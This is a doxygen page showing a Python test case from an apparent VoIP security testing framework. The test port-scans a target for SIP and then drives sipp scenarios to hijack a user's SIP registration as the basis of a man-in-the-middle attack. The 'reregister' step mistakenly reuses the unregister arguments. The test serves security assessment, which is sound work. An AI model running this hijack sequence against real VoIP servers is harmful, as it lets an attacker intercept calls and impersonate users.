TestManInTheMiddle.py

Go to the documentation of this file.
00001 ##
00002 # 
00003 # Test case: security.manipulation.voip.TestManInTheMiddle
00004 # 
00005 from testenv.core.TestCase import TestCase
00006 from testenv.core.TestResult import TestResult
00007 
00008 import socket
00009 
00010 ##
00011 # 
00012 #       Scenario: man in the middle attack
00013 #       
00014 #       This test tries to hijack an user registration on the target.
00015 #       Since registration hijacking is the actual attack and putting a man in the middle is afterwards no real problem, this test case does only the hijack.
00016 #       
00017 #       @ingroup test_case_all
00018 #       
00019 class TestManInTheMiddle(TestCase):
00020         
00021         ##
00022         # 
00023         #               This function is called by the __init__ function from the parent.
00024         #               Don't define your own __init__ here!
00025         #               
00026         def initTestCase(self):
00027 
00028                 #set description to identify test case in output
00029                 self.setDescription("man in the middle attack")
00030                 
00031                 #files to be updated with test users data
00032                 self.addFile("userinfo.csv")
00033 
00034 
00035         ##
00036         # 
00037         #               implementation of a SIP registration hijack
00038         #               
00039         def test(self):
00040                 
00041                 #get scenario path
00042                 scenarioPath = self.getResourcesPath() + "/"
00043                 #get target IP address from config
00044                 targetIp = self.getParameter("configuration.local.target.ip")
00045                 #get network interface to use from config
00046                 localDevice = self.getParameter("configuration.local.interface")
00047                 #get IP address of network interface
00048                 localIp = self.getIpAddress(localDevice)
00049                 
00050                 #nmap parameter list
00051                 nmapArgs = ["-p5060", targetIp]
00052                 
00053                 #define expected result
00054                 exRes = TestResult()
00055                 exRes.set("expectedResultCode", 1)
00056                 
00057                 #define port scan
00058                 nmapTest = self.newTest("nmap", "portscan", {'arguments' : nmapArgs})
00059                 
00060                 #run port scan
00061                 nmapTest.start()
00062                 nmapTest.join()
00063                 
00064                 #get results from port scan
00065                 nmapTestResult = self.getResult("portscan")
00066                 hosts = nmapTestResult.getValue("hosts")
00067                 #run test only if 5060 is open
00068                 for host in hosts:
00069                         if host.getPorts() > 0:
00070                                 address = host.getAddress()
00071                                 #sipp parameter lists
00072                                 argsRegister = []
00073                                 argsRegister.extend(["-sf", scenarioPath + "register.xml"])
00074                                 argsRegister.extend([address])
00075                                 argsRegister.extend(["-i", localIp])
00076                                 argsRegister.extend(["-p", "5060"])
00077                                 argsRegister.extend(["-inf", scenarioPath + "userinfo.csv"])
00078                                 argsRegister.extend(["-m", "1"])
00079                 
00080                                 argsRemoval = []
00081                                 argsRemoval.extend(["-sf", scenarioPath + "registration_removal.xml"])
00082                                 argsRemoval.extend([address])
00083                                 argsRemoval.extend(["-i", localIp])
00084                                 argsRemoval.extend(["-p", "5066"])
00085                                 argsRemoval.extend(["-inf", scenarioPath + "userinfo.csv"])
00086                                 argsRemoval.extend(["-m", "1"])
00087                 
00088                                 argsReregister = []
00089                                 argsReregister.extend(["-sf", scenarioPath + "register.xml"])
00090                                 argsReregister.extend([address])
00091                                 argsReregister.extend(["-i", localIp])
00092                                 argsReregister.extend(["-p", "5066"])
00093                                 argsReregister.extend(["-inf", scenarioPath + "userinfo.csv"])
00094                                 argsReregister.extend(["-m", "1"])
00095                 
00096                                 argsUnregister = []
00097                                 argsUnregister.extend(["-sf", scenarioPath + "unregister.xml"])
00098                                 argsUnregister.extend([address])
00099                                 argsUnregister.extend(["-i", localIp])
00100                                 argsUnregister.extend(["-p", "5060"])
00101                                 argsUnregister.extend(["-inf", scenarioPath + "userinfo.csv"])
00102                                 argsUnregister.extend(["-m", "1"])
00103                 
00104                                 argsUnreregister = []
00105                                 argsUnreregister.extend(["-sf", scenarioPath + "unregister.xml"])
00106                                 argsUnreregister.extend([address])
00107                                 argsUnreregister.extend(["-i", localIp])
00108                                 argsUnreregister.extend(["-p", "5066"])
00109                                 argsUnreregister.extend(["-inf", scenarioPath + "userinfo.csv"])
00110                                 argsUnreregister.extend(["-m", "1"])
00111                 
00112                                 #define registration addition
00113                                 testRegister = self.newTest("sipp", "register (" + address + ")", {'arguments' : argsRegister}, 20)
00114                                 testRemoval = self.newTest("sipp", "remove (" + address + ")", {'arguments' : argsRemoval}, 20, expectedResult = exRes)
00115                                 testReregister = self.newTest("sipp", "reregister (" + address + ")", {'arguments' : argsUnregister}, 20)
00116                                 testUnregister = self.newTest("sipp", "unregister (" + address + ")", {'arguments' : argsUnregister}, 20)
00117                                 testUnreregister = self.newTest("sipp", "unregister hijack (" + address + ")", {'arguments' : argsUnreregister}, 20, expectedResult = exRes)
00118                                 
00119                                 #set scenario path (needed to receive log files)
00120                                 testRegister.set("scenarioPath", self.getResourcesPath())
00121                                 testRemoval.set("scenarioPath", self.getResourcesPath())
00122                                 testReregister.set("scenarioPath", self.getResourcesPath())
00123                                 testUnregister.set("scenarioPath", self.getResourcesPath())
00124                                 testUnreregister.set("scenarioPath", self.getResourcesPath())
00125                 
00126                                 #run registration hijack
00127                                 testRegister.start()
00128                                 testRegister.join()
00129                                 
00130                                 testRemoval.start()
00131                                 testRemoval.join()
00132                                 
00133                                 testReregister.start()
00134                                 testReregister.join()
00135                                 
00136                                 testUnreregister.start()
00137                                 testUnreregister.join()
00138                                 
00139                                 testUnregister.start()
00140                                 testUnregister.join()
00141 
00142 

Generated on Mon Aug 11 17:28:27 2008 for TestEnv by  doxygen 1.5.5